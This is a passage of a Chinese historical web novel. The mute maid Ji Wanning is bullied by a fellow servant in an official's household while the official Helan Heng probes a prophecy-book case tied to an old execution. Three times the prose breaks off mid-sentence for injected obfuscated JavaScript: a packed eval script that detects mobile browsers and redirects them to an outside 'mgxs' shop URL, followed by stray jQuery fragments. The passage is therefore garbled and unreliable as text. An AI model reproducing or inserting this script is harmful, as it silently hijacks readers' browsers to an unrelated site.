“这我也不清楚,你问北苍吧。”东义推脱道。
北苍不像东义这么随和,像块硬石头,春彤有些怕他,她撇了撇嘴,只得作罢。
正午时分春彤拿着方子去药铺抓了药回来,吩咐季晚凝去熬,她又添了些八角茴香,熬好后趁热亲自去孙嬷嬷房里给她敷上。
敷凉了就再热一下,热了两次之后,蜷在榻上的老人四肢渐渐舒展开来。
孙嬷嬷从床上坐起来,不可思议地对季晚凝道:“你这方子还真管用,我觉着这胃消停多了。春彤,快给她倒杯热茶。”
季晚凝见孙嬷嬷转好,眉眼弯了弯。
春彤从昨晚就生着季晚凝的气,虽说这会儿气消了不少,但也不情不愿的,起身摸了把矮几上的茶壶,凉的。
“你会煎茶吗?”春彤斜着眸子问季晚凝,心里却没指望她会。
季晚凝浅笑着冲春彤点了点头,走出房门去茶室里煎茶了。
过了两刻钟,她端着茶盘回来,春彤给三人各倒了一盏。
茶汤色泽如春水般碧透,上面浮着云腴似的沫饽。孙嬷嬷品过茶后,由衷赞了句:“煎得好。”
春彤端起素瓷瓯来啜了一口,茶香清新芬芳,初觉满口生津,继而浮过一缕回甘。
“往后煎茶的差事就交给你吧。”她难得地露出了一丝满意的表情。
春彤打昨晚就看出来了,季晚凝就是个花架子,指定是哪个官吏或商贾塞给贺兰珩的乐伎美婢,受过训的。
饭不会做,但却识字,还会点茶,说不定琴棋书画之类的也略懂一二。
送美人这种事儿时常有,不过以前都被郎君原封不动地送回去了。
春彤揣摩这次兴许是不好回绝郎君才留下了她,不过据她观察也就是个摆设罢了。
接下来的几日,春彤借着孙嬷嬷身子有恙,趁机掌事,呼来唤去。
春彤本觉得季晚凝刚来时不那么服帖,如今纠正她干活的习惯她也都虚心接受,无论说什么都依着,用起来愈发顺手。
春彤便得意起自己管教的能耐来,颇有成就感。
季晚凝掂量着火候差不多了,这日她从布囊里拿出了她所有的盘缠,等春彤出门采买时,上前拦住她,偷偷把铜钱塞到她手里。
春彤低头一看,还不足半吊钱,有些许失望,不过总比没有好。
她左右瞄了瞄,轻抬手臂,那钱滑进了袖中。她贴着季
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164449|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚凝耳根小声道:“旁边有人,改天吧。”
说罢独自出了门。
季晚凝看着她的背影有些担忧,改天会不会又找些托辞来推拒她?如果春彤收了钱不守信用,她仅有的钱就打水漂了。
季晚凝拿起扫帚心不在焉地扫着落叶,过了会儿东义突然跑过来,低声道:“快回屋去,太医来了。”
她的身份见不得光,得回避外人,季晚凝放下扫帚,回屋去了。
早朝过后贺兰珩寻了太医,请他为孙嬷嬷诊治,直到午后太医才抽出空来大理寺,贺兰珩领着他进了后衙。
太医给孙嬷嬷把过脉后开了几味药,这种痼疾还需三分治,七分养,叮嘱了几句,便拎起医箱出了房门。
贺兰珩把他送往角门时,忽然想起了什么,问道:“赵太医,不知哑症能否医治?”
“哑症么……这要看病因,大多终身不可痊愈。尤其是生来便哑的,恐怕回天乏术。”赵太医答道。
贺兰珩微怔,他竟忽略了这点,从来没问过季晚凝是怎么哑的,先天亦或后天,他全然不知。
“赵太医请留步。”
季晚凝正待在自己房里午憩,突然听见敲门声,还以为是春彤回来了,一开门看见贺兰珩立在门外,她忙施了一礼。
贺兰珩直截了当问她:“你的哑症是什么时候患上的?因为什么哑的?”
季晚凝想着刚刚太医了,反应过来他是想为她治病,于是坐到案几前写道:“我三年前蒙患风寒,久咳不愈,而后哑不能言。”
贺兰珩点了点头,转身走了,回到角门处,对太医复述了一遍。
“既然起于咳症,需老夫亲自瞧过才好对症下药。”赵太医抚着灰白的胡须道。
贺兰珩听他的口风,是有治愈的希望的,便想等这阵子风头过了,再请他来给季晚凝面诊。
“多谢赵太医,远房的亲戚不巧患了哑症,待她来京,届时还要再叨扰你。”
“贺兰大理客气了,不过老夫医术不精,能治愈两三成已是不错了,要想恢复到与常人无异恐怕希望渺茫。”
贺兰珩将他送出门:“无妨,赵太医慢走。”
太医刚出去,门还没关上,春彤就挎着采买的东西回来了,脸色跟锅底一样难看。
方才她在西市买东西的时候不巧遇上了行刑,围观的人摩肩接踵,她好奇地挤了进去,正巧就看见铡刀落下来,吓得她立即闭上眼睛,再睁开时那人脖子上已经什么也没有了。
听周围的人说是谶书案的案犯,她知道这个案子,是郎君审断的。
春彤甫一迈进角门,就撞见了贺兰珩,她僵硬地朝他福了福身,贺兰珩略微颔首,转身准备回前衙。
“郎君,”春彤上前一步把他叫住了,声音有些干涩,“有件事我必须得禀报。”
她从袖里掏出了一把钱,“晚凝来的第一天就想出后衙,刚刚还给奴婢塞了钱贿赂奴婢,不过郎君放心,奴婢没应她。”
春彤被砍头的场面吓得脑子瞬间清醒了,要不是她谨慎,没立刻答应季晚凝,此时恐怕就被郎君抓个现行了。
为了区区三百文钱冒着挨罚的风险实在不值当,反而把季晚凝供出来说不定还能讨个赏。
贺兰珩停下脚步,回首问:“她要出去做什么?”
“她想去采买。”春彤答。
贺兰珩默了少顷,道:“让她去吧,不过仅此一次。”
春彤对他的反应有些意外,又道:“那奴婢跟她一起去吧,她一个哑巴不方便,况且若是跑了怎么办。”
“不用。”贺兰珩说罢就抬步走了。
春彤见他也没说这钱怎么处置,深深呼了口气,喜滋滋地把钱揣回了袖子里。
11. 搜身
翌日正午,春彤把斜囊交给季晚凝,交代了她半晌需要买的东西,去哪家买,回来后要记账。
最后给了她一块牌子,商贩看见牌子就知道她是贺兰府的人,会拿出最好的货来,不会被坑。
季晚凝一边听一边点头,背着斜囊出了门。
大理寺离西市不远,走着不到一炷香的时间,食肆也在西市。
季晚凝打算先去取香球,不然背着一包袱的东西不方便。
她随着人流进入市集,鳞次栉比的店铺前人头攒动,长安话和胡言番语此起彼伏,波斯香料混杂着胡饼的气味浮动在大街小巷里。
季晚凝拐入一条曲巷,透过巷边酒肆敞开的窗户,胡姬飘扬的帔帛若隐若现,随着琵琶弹奏的《春莺啭》翩跹起舞。
两个青袍男子对坐在窗口的案几边上,举着酒樽对谈。
“昨日谶书案案犯斩首了,还流放了十几个从犯,你听说了吗?”
季晚凝突然停住脚步,朝窗里望了一眼。
流放?贺兰珩当时明明说的是全部斩首,直到今日她才知道又被他骗了!
一旁香料铺的波斯商贩以为来了客人,殷勤地将香料一一拿起来给季晚凝闻,并用不大标准的长安话跟她介绍。
季晚凝便装作买香料,继续听那二人的对话。
“我常在冯掌柜的书肆买话本,没料到他竟然会惹上官司。”男子叹了口气,“说来也怪,冯掌柜怎么能预见宫里的事呢?定是开了天眼,有神通。”
“我可不信什么谶言。”另一个男子摆了摆手,“那话本我看过,这里面有人妄图搅弄风云,要我说斩得好!”
“话不能这么说,如今冯掌柜斩了,且看后面的谶言会不会应验。”男子沉着眉眼,吟道,“天书既成,预言自启,后人得之,真相自明。”
季晚凝双眸闪烁,她知道,这是《长安异闻录》中的最后一句话。
先前掌柜娘子遣她去食肆送饭时,一个书贩送了她一本当作打赏,她本没当回事,却没想读过之后思绪百转。
或许旁人看不出来,但她知道这本书写的就是父亲。她永远记得,六月二十一日是父亲斩首的日子。
这本所谓的谶书让季晚凝知道,这个世上除了她以外,至少还有一个人相信父亲是无辜的。
于是她借誊抄话本之由接近书肆,就是为了找到那个人,却也没发现什么线索,还被捕了。
虽然在做抄工之前季晚凝并不认识冯砚真,也不知道他是不是真的做了预知梦,但她心怀感激,现在他死了,她心里也不大好受。
“子不语怪力乱神,这是妖言惑众。”桌对面的男子用手指叩击着案面,压低声音道,“你再说这些小心自己的脑袋。”
“欸,这位小娘子,你到底想要哪个?”波斯商贩不耐烦道。
季晚凝陡然回神,放下手里的香料,转身继续往前走了。
前面几丈远处挂着一面小旗,是食肆的旗子。季晚凝堪堪走到门前,余光扫了一眼西墙,忽然刹住了脚步。
她没进门,径直往前走了,一直走到巷尾,她倏地回头,望向人群。
刚刚她发觉西墙上有一个头戴葛巾的影子跟在她身后。
戴葛巾的男子很多,但可以根据高矮胖瘦和侧脸轮廓来区分。
季晚凝在人群中寻了一会儿就发现了他,正低着头站在一个铁器铺子跟前。
她认出来他是贺兰珩的一个护卫,尽管她只在后衙见过一次,也能过目不忘。
不知是春彤告的密,还是贺兰珩让护卫跟踪她,盯着她的一举一动。
季晚凝佯装不知情,转身走进另一条曲巷,按着春彤的要求买了食材。
再回头张望,那影子似乎被甩掉了,季晚凝犹豫了片刻,最终还是离开了西市。
回府后,一进门就见孙嬷嬷端端正正地站在角门口看着她,季晚凝身形一滞,随即镇定下来,若孙嬷嬷要责罚,春彤也脱不开干系。
“你来我房里,给你量下尺寸,做几身新衣裳。”孙嬷嬷语气和蔼,对她偷偷出门的事只字不提。
季晚凝把东西放回厨房后便来到她屋中。
孙嬷嬷让季晚凝站直,把胳膊抬起来,她没拿布尺,而是直接用手在她身上丈量。
她的手掌宽厚,颇有些力量,从季晚凝肩上碾过,又掐住她的腰,身上几乎每一寸都没放过。
季晚凝这才悟过来,这哪是量身,这是搜身呢!
孙嬷嬷从上到下“量”了一遍,什么也没搜到,眉头舒展道:“你去忙吧,每个新来的婢女都要做新衣,郎君吩咐的。”
季晚凝微笑着点点头,若无其事地走出了房间。果然贺兰珩已经知道她出门的事了,幸好她没去取香球,不然现在就落到他手上了。
刚迈出屋,春彤冲她招手走近:“郎君今日宿在后衙,你先把食材收拾好,然后去煎茶。”
季晚凝依言来到厨房,把菜和肉洗净切好,由春彤来炒,等贺兰珩下值用膳的时候,她则去茶室煎茶。
这几日她起得比往常更早,赶在日头高照前去竹林里采竹露。
舅父季良讲究,喜欢用露水煎茶,如此煎出的茶温润而清冽。
季晚凝点茶的手艺就是跟他学的,她将好不容易接满一壶的竹露小心翼翼地倒进壶中。
煎好时,天色已沉沉落下,暮云合璧。
季晚凝端着螺钿漆盘来到竹林环绕的书房外,窗棂里透着融融灯光,她迟疑地放缓了脚步。
春彤正在门外逡巡,见她端茶过来,迎上去接过了漆盘。
不是每个婢女都能跟郎君说上话的,更不能随意近身,这是春彤立的规矩,只有她自己和同她相好的几个人才可以。
“给我吧,你去给我和阿娘煮碗粥,再炒两个小菜,记得每道菜放一指甲盖的盐。”
季晚凝心里直庆幸不用见贺兰珩了,正好她这会儿也饿着肚子呢,想着可以一起做了,便应下了。
春彤端着漆盘进了书房,将盘子放在贺兰珩的桌案上,斟上茶,然后立在一侧。
贺兰珩坐在檀案后专注地看着案牍,茶香袅袅,氤氲散开,随即就被一股浓郁而廉价的香料味覆盖过去了。
他几不可察地眉心微蹙,抬起眸。
春彤为了掩盖做饭沾上的油烟味,往香囊和胭脂水粉里添了很多香料,见贺兰珩看她,忙捧起茶瓯道:“郎君尝尝刚下来的新茶。”
贺兰珩复又低下头,道:“这里不用你伺候,下去吧。”
春彤悻悻地应了一声,退出去了。
季晚凝在厨房里收拾碗筷,今日的盘子基本都空了,想必春彤的手艺差不了。
洗完后她生火起灶,把粥先熬上,火有些弱了,她准备去柴房取些柴火来,路上碰见了脚步匆匆的东义。
“我正找你呢,郎君叫你过去。”东义把她拦住,“快些来。”
季晚凝想着去跟春彤打个招呼让她帮忙看火,无奈东义催得急,只得跟着去了。
她推开书房的门,房中灯烛晶莹,金炉缥缈,烛光沿着贺兰珩低垂的眉眼勾勒出深俊的轮廓。
终究是没躲过去。
季晚凝迈过门槛,裙摆拂过地面,如轻云出岫,走到案前在锦毯上跪坐下来,等他盘问。
贺兰珩手执茶筅缓缓拨去茶沫,端起錾花银茶托轻啜了一口,相比之前的茶水似有不同,清香中沁着一丝润朗的余韵。
他漫声道:“研墨吧。”
季晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164450|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凝微怔,随后从白玉水盂中将清水滴在砚面上,捏着墨锭在六角青斑石砚台上打着圈,手法极稳,轻重得当。
研毕,她将磨口清理干净,把墨锭轻轻放在一边。
守在门边的东义往这边望了一眼,不知该不该提醒季晚凝出去。
她梳着交心髻,山眉水眼,一袭鹅黄色折枝小花缬纹襦裙铺在毯上,与秋日的银杏相得益彰,静静坐在那里倒成了书房中的一道美景。
他隐隐觉得立在窗边如同石像一样的北苍有些多余。
贺兰珩打开了一本空白的奏本,铺平后提起紫毫,敛袖润笔。
季晚凝在腹中编着谎,一边瞄了眼案头的奏本,看起来是在写关于律法的提案。
贺兰珩写到一半,将笔搁在双鹤笔架上,单手支在案上揉了揉眉心,端起茶来啜了一口。
季晚凝见茶瓯见底了,执起茶壶为他添汤。
贺兰珩闻声掀起眸子,眼底掠过一丝意外:“你怎么还在?”
季晚凝行步举止极为轻盈,气息亦是如丝如兰,加之口不能言,更显静逸。
是以方才他全神贯注地书写时没注意到她的存在。
热腾腾的雾气在季晚凝眼睫上结成细细的水珠,她望着他眨了眨眼,难道他真的只是让她来研墨?
季晚凝暗暗舒了口气,放下茶壶,站起身来向他欠了欠身。
东义阖上门,心想果然她还是跟春彤一样被撵了出来。
季晚凝退出书房走了几步,突然想起灶上还煮着粥,提着裙摆一路小跑回到厨房。
还没到门口,就闻见了一股呛鼻的糊味,春彤站在门边气咻咻地质问:“你不好好做饭干什么去了?锅底都糊了!”
季晚凝赶忙进了厨房,一边抬袖掩住鼻尖,一边将锅拿下来把糊了的粥倒掉。
春彤在房里饿得不行,想来催促下季晚凝,进了厨房却发现人不知跑哪去了。
她心里窝着火,探头往季晚凝来的方向张望,似是明白了什么,转过头来问:“你是不是去书房了?”
季晚凝将锅泡在水桶里,点了点头。
春彤厉声厉色道:“后院里是我春彤说了算,别以为自己有几分姿色就能翘尾巴,劝你少点儿非分之想,听我的话还能分你口肉吃。”
季晚凝疑惑她这番话是什么意思。
“春彤姐,这是怎么了,发那么大火?”
梨穗循着声音款款走到近前,身姿婀娜,容貌姣好,举手投足一派风流旖旎。
“你来得正好,”春彤叉着腰,“之前县主给郎君送来几个美人,刚开始总往郎君身边凑,郎君理都不理,把其中一个送走了,梨穗因着识时务才留下来,现在还不是乖乖在我手底下做事。”
季晚凝听后哭笑不得,知她是误会了,可又苦于没法解释。
“梨穗,现在你有没有事做?来给我煮粥。”春彤剜了季晚凝一眼,甩袖出了厨房。
翌日,季晚凝打算去找东义帮她澄清下,又觉着这种事有些难为情,于是写了张纸条给他,询问他婢女中还有谁识字。
东义想了下道:“府里倒是有几个识字的,不过来后衙的只有梨穗。”
梨穗正坐在镜台前,将春彤赏她的桂花头油抹在鬓发上,乌黑油亮,又拿出胭脂黛块来描眉画颊,举着妆镜左右照了照,满意地捋了捋鬓角。
门外传来了敲门声,她悠悠起身打开门,季晚凝立在阶下,冲她莞尔笑笑,递上来一张纸。
梨穗接过来,看后露出一个娇懒的笑:“你放心吧,我会转告春彤的。”
阖上门,她将纸揉做一团,扔在了烛台上。
早在昨晚她就跟东义打听过了,知道是贺兰珩唤她去研墨的,不过她没告诉春彤。
12. 疑点
傍晚时,季晚凝把扫来的落叶拢在一处,埋进土坑里,就见下人们三三两两聚集起来,准备回府了。
临出门前春彤带着几个婢女走过来,吩咐季晚凝:“你把浆洗房里的脏衣洗了吧,明早我要用。”
季晚凝通常早上打水,把水放暖后再洗衣服,此时储水已经不多,她想等明日再洗。
于是她没应,可春彤并不给她拒绝的机会,把话撂下就走了。
季晚凝只得从井里打了水,来到浆洗房看见堆在一起的衣服,都是春彤和孙嬷嬷的。她就着冰凉的井水洗了六七件,洗好之后上了浆,再搭在薰笼上晾干。
春彤出了角门,指挥下人们整队随车步行,梨穗跟在她身边,轻声道:“你对晚凝太过心慈手软了,难怪她这么有主意呢。”
春彤看着她道:“那你觉得如何?”
梨穗指点道:“驭下当赏罚分明,尤其是新人刚来,性子得磨。昨日她越过你私自接近郎君,你却轻拿轻放,只让她洗几件衣裳。”
春彤若有所思地点了点头,她说的确有几分道理。
马车缓缓行至贺兰府,东义撩开帘子,贺兰珩下了马车,甫一进门,管家便来禀报说府主回来了。
贺兰珩换上常服后来到父亲的书房,绕过屏风,见贺兰淳德正端坐在里面,面容整峻,美髯飘逸,手上缠着一条琥珀佛珠。
贺兰珩敛袂行礼,然后坐在一侧。
贺兰淳德此去洛阳主要是探望在东都任职的二儿子和儿媳,儿媳刚刚诞下一子,他兴致盎然地与贺兰珩谈了半晌家常,之后才想起正事来,问道:“我在洛阳时听闻长安出了个大案子,办得如何?”
贺兰珩颔首:“虽已结案,但留下了很多疑点未决。”
“哦?说来听听。”
谶书企图给陈澍洗白一事乃是机密,但告诉父亲倒是无妨,贺兰珩将案子原委大略详述了一下,问他:“阿耶可知陈澍可还有同党尚存?”
贺兰淳德一听此案居然与旧友息息相关,不禁愕然,他沉吟道:“十年前,削藩党的中流砥柱除了陈子睿之外,还有郑彦元等人,只不过这些人在子睿下狱后都缄口不敢言了。若不是当时郑贵妃得宠,郑公恐怕会被政敌从中大做文章,判作与陈党同罪。”
贺兰珩眼前豁然一亮,郑彦元身为朝中重臣与外戚,既能染指后宫,又能操纵前廷,极为符合“针”的条件。
他摩挲着指节,继而问道:“父亲对陈澍案有什么旁人不知道的了解?”
“有一事我一直挂怀。”贺兰淳德神色沉凝,缓缓捻动佛珠:“子睿死后头身分离,被丢在乱葬岗,连个收尸的人都没有,我实在于心不忍,暗中遣人去为他入殓,可却不曾找到他的尸首。”
说罢他长叹一声,忆起了往昔。
贺兰淳德一向欣赏陈澍的才学,不仅状元及第,姿容亦是温美如玉,颇有鸿渐之仪,二人时常把酒纵歌,谈诗论道。
陈澍本是一介栋梁之材、社稷之器,得知他通敌并构陷忠良,贺兰淳德实在不敢相信。
“会不会是他其他的亲友为他安葬的?”贺兰珩问。
贺兰淳德摇头:“树倒猢狲散,子睿下狱后,连家丁馆客都跑得所剩无几。随后陈府被封,子睿的妻儿先后被大理寺和刑部二司提审。再之后,子睿被斩,她们连夜就逃出了长安,哪里有暇收尸。”
贺兰珩眸光一凛,陈澍的妻儿被提审?卷宗里对此只字未提。
“为何提审她们?她们又是怎么逃出长安的?”
“这个我也不甚清楚,听部下说,并非白日提审,而是夜里暗中把人拉去刑部大牢的。”
贺兰淳德垂眸抚膝,“当时我派部下去刑部大牢里给他送吃食,还去陈府接济他的家人,是以知道此事。子睿被斩后,翌日部下就来禀报,陈府空了,应当是连夜逃了。不久之后,就得到了她们坠崖的消息。”
贺兰珩思忖,既然夷三族,她们应该是被官兵追上了,许是为了躲避追捕才不慎翻车坠崖。
“没料到这个谶书案牵涉得这么深。”贺兰淳德敛容,压低声音,“既然已有裁决,你羽翼未丰,就暂且放下吧。我始终觉得圣人把你放在大理卿这个位子上,不是什么好事。”
贺兰淳德曾也在官场上游刃有余,当年和郑彦元同为天子的东宫旧臣,扶持他登基御极、稳固政权之后加官进爵。
后来郑彦元位极人臣,前两年圣人想用贺兰淳德制衡他,可贺兰淳德何其精明,藏锋守拙是他为官的信条,发觉了圣人的意图后就借机致仕了。
当时圣人不允,极力挽留,如今他只挂了个开府仪同三司的虚衔。
“儿明白。”
父亲不欲再谈下去,贺兰珩便也不再多问,刚刚得到的信息已经足够了,他起身辞出书房,往来鹤园走去。
来鹤园是他的独院,庭院楼阁,花林曲池,无不独具匠心。
园中庭树金风,丹桂飘香,暮云秋影落在粼粼池中,池畔种着各色名花,兰菊芍药、芙蓉牡丹,应有尽有。
花丛中,一个鬼鬼祟祟的身影在其间晃动,梳着双鬟,肩披橘色纱罗帔巾。
贺兰容嫣正在专心致志地采花,直到长影渐近,盖过她的头顶,她才猛地收回手,做贼似的把双手背在身后,却忘了鬓上还插着一朵木芙蓉。
容嫣故作惊喜道:“阿兄,你回来啦,看我美不美?”
“你折我的花还问我?”贺兰珩轻勾唇角。
“有花堪折直须折嘛。”
容嫣声音清脆,从怀里掏出一只银鎏金蚌形粉盒,递给他,“五妹给你赔罪,这是我亲自调制的手膏,添了香料,你试试看,我保证涂抹之后皮肤细腻润滑。”
“我无需此物,五妹自用即可。”贺兰珩漫不经心地迈进寝室。
容嫣锲而不舍地紧追过去:“阿兄不用不好意思,那魏晋的美男子还涂脂抹粉呢,身为男子也要仔细保养。除了阿兄,我只送了阿娘一盒,你可别告诉旁人,免得眼红。”
贺兰珩似笑非笑,没有回应,从玛瑙柜中拿出了一盒胭脂,在她面前晃了晃。
容嫣双眼瞬间就直了,眼巴巴道:“这是给我的吗?阿兄貌比潘安,颜如宋玉,才比子建,富比石崇!”
贺兰珩把精美的胭脂盒塞到她手中道:“去吧。”
他有时路过胭脂铺子会买些水粉口脂,用来哄孩子。
“多谢阿兄!”容嫣不再缠着他,把胭脂揣进怀里,一溜烟儿地跑了。
……
夜里起了风,翌日天朗气清,轻寒萦绕,风过时,竹叶簌簌的声音如落雪一般好听。
角门开了,一阵欢声笑语飘进空荡荡的院落,孙嬷嬷一行人走进后衙。
春彤穿着簇新的宝花缬纹背子,鬓间插着一支双鹊金花钗。
东义在旁调笑道:“春彤姐打扮得跟富家娘子似的,来鹤园里还有谁比春彤有头脸?”
春彤神采飞扬:“县主赏我的,这也不算什么,县主身边的侍婢穿戴得才叫体面呢。”
昨日蓬莱县主让她禀报近日贺兰珩在后衙里食宿的情况,春彤把她做了什么饭,怎么管教的下人绘声绘色地讲了一遍。
县主听了很满意,让人从库房里拣了件首饰赏她。
在众人的吹捧声中,季晚凝从不远处走了过来,细袅的身姿如迎风柳枝,身上依然穿着那件洗得泛白的梅花襦裙,怀里捧着一只盛满竹露的银壶。
春彤看着她,翘起唇角道:“晚凝,你跟着我只要听话顺从,将来也少不了好处,我指头缝里漏点东西都够你用的了。”
她摆了摆手,“你先去煎茶吧,然后把洗好的衣服送到我房里。”
季晚凝对于春彤一径颐指气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164451|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
使的姿态不以为意,她只心疼那三百文钱,不仅香球没拿到,还囊空如洗了。
她把银壶放到茶室,竹露只给贺兰珩煎茶时才会用,给自己和其他下人只用井水。
煎过茶之后她便来到浆洗房,堪堪进门,就觉出一丝古怪,小跑到薰笼旁查看,旋即心头一紧。
每件衣服上都沾染了一团团的污渍,还湿着,显然是刚弄上去的。
她沉默地把衣服从薰笼上取下来,重新打了一盆水,坐在小圆凳上用力搓洗污迹。
“让你拿个衣裳怎么这么磨蹭?”春彤掀帘走了进来。
清晨的井水凉如刀刃,刺着季晚凝的双手,她停下来搓了搓手。
“不会是昨晚没洗,现在才洗的吧?”春彤嗤道,“下次再偷懒,就要你扣月钱了。”
明知故问。
昨天让她洗衣服,要得那么急,季晚凝就觉着奇怪,果真是冲着她来的。
季晚凝抬眸看了她一眼,目光平静无波,春彤无端觉着周身空气凉了几分,她没再多说,瞥了她一眼,转身离开了。
待最后一件衣裳洗干净,日头已爬过窗棂大半。
季晚凝端起沉甸甸的木盆出去倒水,浆洗水就是淘米水,按例洗过衣后用来浇灌。
她刚踏进花园,一阵凉风倏忽卷过,湿淋淋的手更加寒意浸骨,她十指攥了攥,拐过弯正准备把水泼进花丛里,冷不防撞见一个颀长的身影立在她面前。
她急忙抱紧水盆,向旁边避让两步,勉强屈膝福了福身。
贺兰珩脚步微顿,目光不经意地扫过季晚凝,她单薄的裙摆浸湿了一片,纤细的身子捧着硕大的水盆,双手已被水泡得发白,白里透着通红,格外扎眼。
很快他便移开了目光,一语未发,抬步径直往前走去。
直到那道暮紫色的背影消失在□□尽头,季晚凝才将盆里的水倒掉。
通常白日里贺兰珩很少来后衙,他从书房取了文书后没多停留,又匆匆折返了回去。
穿过□□时,他步伐有意无意地放缓了些,花园里已空无一人,泛黄的梧桐叶铺路在青石板上,他迈开脚步,枯叶在靴底被踩出细碎的沙沙声。
午时秋阳高照,趁着太阳好,季晚凝把湿衣服晾在了院子里,随后又赶着去洒扫。
亭子里,春彤和梨穗一边喝茶一边磕瓜子,春彤吐着瓜子皮道:“昨日你说得对,罚得重些才有威慑力,她也不敢说什么,毕竟是个哑巴。”
梨穗眼波一转:“虽然是哑巴,但也要提防她跟郎君抹泪告状,倒打一耙。”
“是了,差点忘了她识字。”春彤神色有些紧张,小声嘟囔了一句,“得先下手为强。”
转眼日暮时分,临回府之前,春彤抄起喝剩下的凉茶,来到浆洗房后面的院子。
她左右张望了一番,见四下无人,举起茶壶,将残汤甩到了晾干的衣服上。
拧身正要走,一扭头,只见季晚凝正直直地站在她身后,一双清眸冷冷地看着她。
春彤吓得大叫一声,手里的茶壶应声坠地,摔得粉碎。
她脸上乍红乍白,强自叉起腰嗔怪道:“你是狸奴吗?走路不声不响的,这壶摔了都怪你,还不赶紧扫了!”
说罢灰溜溜地就要抽身离开,却被季晚凝一把抓住了手腕。
春彤吃痛皱眉,用力挣了挣,竟发现怎么也甩不掉,暗自诧异这小娘子看着柔弱,怎地手劲儿这么大!
“放开我,你要做什么!”她又气又急道。
季晚凝把衣裳从晾衣杆上扯下来,一把塞进她怀里,扬了扬下颌,朝一旁水盆的方向轻轻一点,旋即转身就走。
“……你!”
春彤怀抱一堆脏衣服,瞪着她翩然远去的背影,银牙暗咬。本想给她一个下马威,反倒自己吃了个瘪,只觉胸口堵着一股气,无处发作。
13. 月钱
次日傍晚,贺兰珩在后衙用过膳后来到书房,不消多时,北苍通报说鱼墨来了,得了准令后,一个穿着大口裤,头戴折上巾,腰悬佩刀的男子跨门而入。
鱼墨是个不良人,曾经受过黥刑,额角以墨刺有一记号,是以得名。
大理寺原是没有不良人的,贺兰珩上任之后因需要人手才组建起来,其中很多都来自大理狱刑满释放的犯人,这鱼墨从前便是个匪首。
鱼墨走到近前行了个叉手礼,禀道:“属下已走访了兰陵,季家称府里没有叫季良和季晚凝的。
“随后属下又去了润州,打听到三年前季良作为流民从曹州迁至此地,膝下有一哑女名唤季晚凝。
“半年前,当地有个恶豪想纳季晚凝为妾,季氏父女不从,季晚凝不堪其扰来了长安。不久前,那恶豪又上门骚扰,季良携妻子刚刚启程搬往苏州去了。”
查访的结果与季晚凝所说一致。
贺兰珩在窗前负手而立,待他禀完,略一颔首,从匣里取了十贯钱扔给他,鱼墨领了赏钱后就退出了书房。
贺兰珩撩袍坐下,对北苍道:“把季晚凝叫过来。”
北苍应喏,推开门,恰巧见季晚凝端着茶盘正往书房走来。
季晚凝迈进门,见贺兰珩没有坐在常坐的地方,而是在窗边的棋案前,案上摆着一盘金丝楠木棋枰。
她轻步走了过去,将茶盘放置在一旁。
贺兰珩半倚着月牙杌,一只手臂搭在杌子上,两只修长如竹的手指轻轻夹着一枚玉石棋子,指甲修整得十分光洁,锦缎的宽袖随意地垂坠下来。
相比穿公服时的威赫与锋锐,闲时的他透着世家公子的清贵之气。
贺兰珩似乎没注意到季晚凝的靠近,凤眸半垂,缓缓将手里的黑子落在了棋秤上方。
这枚子代表陈澍,接着,他在陈澍旁边又落下两枚黑子,代表郑彦元和皇后。
几年前皇后被诊断为赤癍疮病殁,那么林宫女的死因也同她一样。
贺兰珩翻遍医书,发现这种病会导致皮肤起红斑,乃至溃烂,死前还会出现痴症。
然而经他打听,林宫女从不曾有痴呆的迹象,身体也不曾有异,是以他推断她是中毒身亡,由此想来皇后很有可能也被投了毒。
或许这就是谶书想要揭示的真相。
陈澍伏诛后,郑彦元蛰伏了数年,直到皇后薨逝,郑贵妃位列后宫之首,他也因势而起,官拜中书令,也就是右相,位列文臣之首。
近两年圣人忌惮郑彦元权柄过大,又提携了刑部尚书吴道坤和宋熙入相,形成鼎足之势,此二人都是陈澍案中的功臣,前者审出了供词,后者检举了陈澍。
若郑彦元是“针”的话,借由给陈澍翻案之机,既可以清剿靳长恺,同时还能除掉吴、宋二人。
贺兰珩先后从棋罐里拈了三枚白子,推到黑子下方,代表吴道坤、宋熙和靳长恺。
捋清了“针”的动机,也就能回答他一直想不通的一个疑点了,那就是林宫女和皇后之死与陈澍案的联系何在。
谋害皇后的凶手许是“针”的政敌,他可借机除掉,甚至根本就是移花接木,将凶手之名嫁祸给政敌。
而毒害林宫女之人正是“针”,是以他能“一语成谶”,如此推测,皇后也是为“针”所害,目的显而易见——助胞妹郑贵妃上位。
思及此,贺兰珩将代表皇后的那枚棋子拿掉了。
